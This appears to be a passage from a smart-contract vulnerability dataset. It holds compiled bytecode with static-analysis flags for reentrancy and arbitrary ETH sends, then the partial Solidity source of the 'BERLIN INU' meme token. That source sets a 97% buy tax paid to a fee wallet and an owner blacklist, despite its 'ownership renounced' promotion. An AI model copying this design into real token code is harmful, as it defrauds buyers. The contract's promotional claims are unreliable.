9061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff02191690831515021790555068056bc75e2d631000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f42554c4d41000000000000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208f4b2c5f7a5d44d8d38a607faebc3a4b77e1ced8999284b3c6d5828926082f4764736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,480 |
0x23439fAB1729309dd4cF2F20c82B70cAE5F55153 | /**
*Submitted for verification at Etherscan.io on 2022-04-03
*/
/**
https://t.me/BerlinInu
Elon Tweet degen play on ERC20
Ownership renounced + LP locked for 30 days
*/
/**
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BerlinInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "BERLIN INU";
string private constant _symbol = "BINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 97;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xB82B34b17FE9fe9aF223AA4eB68038fb0f3FDbe5);
address payable private _marketingAddress = payable(0xB82B34b17FE9fe9aF223AA4eB68038fb0f3FDbe5);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
